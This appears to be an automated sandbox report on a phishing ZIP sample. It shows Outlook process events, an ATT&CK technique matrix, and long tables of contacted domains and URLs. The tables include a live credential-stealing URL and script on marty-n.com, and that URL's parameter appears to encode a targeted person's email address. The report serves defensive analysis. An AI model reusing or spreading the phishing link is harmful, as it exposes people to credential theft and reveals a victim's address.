Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Rundll32	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://api.diagnosticssdf.office.com	0%	URL Reputation	safe
https://login.microsoftonline.com/	0%	URL Reputation	safe
https://shell.suite.office.com:1443	0%	URL Reputation	safe
https://designerapp.azurewebsites.net	0%	URL Reputation	safe
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	0%	URL Reputation	safe
https://autodiscover-s.outlook.com/	0%	URL Reputation	safe
https://useraudit.o365auditrealtimeingestion.manage.office.com	0%	URL Reputation	safe
https://outlook.office365.com/connectors	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://api.addins.omex.office.net/appinfo/query	0%	URL Reputation	safe
https://clients.config.office.net/user/v1.0/tenantassociationkey	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://lookup.onenote.com/lookup/geolocation/v1	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	0%	URL Reputation	safe
https://api.powerbi.com/v1.0/myorg/imports	0%	URL Reputation	safe
https://cloudfiles.onenote.com/upload.aspx	0%	URL Reputation	safe
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://entitlement.diagnosticssdf.office.com	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://canary.designerapp.	0%	URL Reputation	safe
https://ic3.teams.office.com	0%	URL Reputation	safe
https://www.yammer.com	0%	URL Reputation	safe
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	0%	URL Reputation	safe
https://cr.office.com	0%	URL Reputation	safe
https://messagebroker.mobile.m365.svc.cloud.microsoft	0%	URL Reputation	safe
https://portal.office.com/account/?ref=ClientMeControl	0%	URL Reputation	safe
https://clients.config.office.net/c2r/v1.0/DeltaAdvisory	0%	URL Reputation	safe
https://edge.skype.com/registrar/prod	0%	URL Reputation	safe
https://graph.ppe.windows.net	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://tasks.office.com	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	0%	URL Reputation	safe
https://api.scheduler.	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://edge.skype.com/rps	0%	URL Reputation	safe
https://globaldisco.crm.dynamics.com	0%	URL Reputation	safe
https://messaging.engagement.office.com/	0%	URL Reputation	safe
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.diagnosticssdf.office.com/v2/feedback	0%	URL Reputation	safe
https://api.powerbi.com/v1.0/myorg/groups	0%	URL Reputation	safe
https://web.microsoftstream.com/video/	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://graph.windows.net	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://analysis.windows.net/powerbi/api	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://substrate.office.com	0%	URL Reputation	safe
https://outlook.office365.com/autodiscover/autodiscover.json	0%	URL Reputation	safe
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	0%	URL Reputation	safe
https://consent.config.office.com/consentcheckin/v1.0/consents	0%	URL Reputation	safe
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	0%	URL Reputation	safe
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	0%	URL Reputation	safe
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	0%	URL Reputation	safe
https://safelinks.protection.outlook.com/api/GetPolicy	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	0%	URL Reputation	safe
http://weather.service.msn.com/data.aspx	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://officepyservice.office.net/service.functionality	0%	URL Reputation	safe
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	0%	URL Reputation	safe
https://templatesmetadata.office.net/	0%	URL Reputation	safe
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	0%	URL Reputation	safe
https://messaging.lifecycle.office.com/	0%	URL Reputation	safe
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	0%	URL Reputation	safe
https://mss.office.com	0%	URL Reputation	safe
https://pushchannel.1drv.ms	0%	URL Reputation	safe
https://management.azure.com	0%	URL Reputation	safe
https://outlook.office365.com	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://incidents.diagnostics.office.com	0%	URL Reputation	safe
https://clients.config.office.net/user/v1.0/ios	0%	URL Reputation	safe
https://make.powerautomate.com	0%	URL Reputation	safe
https://api.addins.omex.office.net/api/addins/search	0%	URL Reputation	safe
https://insertmedia.bing.office.net/odc/insertmedia	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
marty-n.com	185.45.66.155	true	true	unknown
d2vgu95hoyrpkh.cloudfront.net	18.245.31.78	true	false	unknown
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
www.w3schools.com	unknown	unknown	false	unknown
cdn.socket.io	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://www.w3schools.com/w3css/4/w3.css	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false	unknown
https://marty-n.com/o/jsnom.js	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://shell.suite.office.com:1443	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://designerapp.azurewebsites.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://autodiscover-s.outlook.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://useraudit.o365auditrealtimeingestion.manage.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/connectors	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://cdn.entity.	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/tenantassociationkey	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://login.windows.localnull	OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr	false		unknown
https://powerlift.acompli.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://cortana.ai	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/imports	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://cloudfiles.onenote.com/upload.aspx	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://entitlement.diagnosticssdf.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://canary.designerapp.	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://ic3.teams.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://www.yammer.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.microsoftstream.com/api/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc	chromecache_101.15.dr, chromecache_96.15.dr	false		unknown
https://cr.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://messagebroker.mobile.m365.svc.cloud.microsoft	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://otelrules.svc.static.microsoft	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://portal.office.com/account/?ref=ClientMeControl	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/c2r/v1.0/DeltaAdvisory	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://edge.skype.com/registrar/prod	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://graph.ppe.windows.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://res.getmicrosoftkey.com/api/redemptionevents	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://officeci.azurewebsites.net/api/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.scheduler.	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://store.office.cn/addinstemplate	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://edge.skype.com/rps	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://globaldisco.crm.dynamics.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://messaging.engagement.office.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.diagnosticssdf.office.com/v2/feedback	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://web.microsoftstream.com/video/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.addins.store.officeppe.com/addinstemplate	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://dataservice.o365filtering.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://login.windows.localnullD	OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr	false		unknown
https://officesetup.getmicrosoftkey.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://prod-global-autodetect.acompli.net/autodetect	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://substrate.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://consent.config.office.com/consentcheckin/v1.0/consents	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	chromecache_101.15.dr, chromecache_96.15.dr	false		unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://d.docs.live.net	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://safelinks.protection.outlook.com/api/GetPolicy	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://ncus.contentsync.	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false		unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
http://weather.service.msn.com/data.aspx	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://apis.live.net/v5.0/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://officepyservice.office.net/service.functionality	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://templatesmetadata.office.net/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://messaging.lifecycle.office.com/	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://mss.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://pushchannel.1drv.ms	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://management.azure.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://wus2.contentsync.	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/ios	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://make.powerautomate.com	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/api/addins/search	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/odc/insertmedia	29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
185.45.66.155	marty-n.com	Bulgaria	201200	SUPERHOSTING_ASBG	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.31.78	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.245.31.5	unknown	United States	16509	AMAZON-02US	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542415
Start date and time:	2024-10-25 22:06:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zip file.zip
Detection:	MAL
Classification:	mal100.phis.winZIP@20/70@16/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .zip

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, prevhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.18, 52.109.28.46, 52.113.194.132, 52.109.89.19, 2.19.126.151, 2.19.126.160, 52.109.76.144, 20.42.73.26, 142.250.185.163, 142.250.184.238, 74.125.133.84, 34.104.35.123, 216.58.212.170, 142.250.185.106, 216.58.212.138, 142.250.185.138, 142.250.185.170, 142.250.185.74, 172.217.18.10, 142.250.186.106, 142.250.185.234, 142.250.185.202, 142.250.184.234, 172.217.23.106, 216.58.206.74, 216.58.206.42, 172.217.16.202, 142.250.186.170, 172.217.18.3, 216.58.206.35, 20.189.173.26, 51.105.71.136, 20.44.10.123, 142.250.185.99, 20.189.173.12
Excluded domains from analysis (whitelisted): lgincdnmsftuswe2.azureedge.net, odc.officeapps.live.com, onedscolprdwus19.westus.cloudapp.azure.com, onedscolprdwus11.westus.cloudapp.azure.com, slscr.update.microsoft.com, weu-azsc-000.roaming.officeapps.live.com, clientservices.googleapis.com, clients2.google.com, login.live.com, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, officeclient.microsoft.com, www.gstatic.com, a1864.dscd.akamai.net, osiprod-neu-bronze-azsc-000.northeurope.cloudapp.azure.com, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, onedscolprduks00.uksouth.cloudapp.azure.com, aadcdn.msauth.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, edgedl.me.gvt1.com, s-0005.s-msedge.net, aadcdnoriginwus2.afd.azureedge.net, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, logincdn.msauth.net, omex.cdn.office.net, neu-azsc-000.odc.officeapps.live.com, 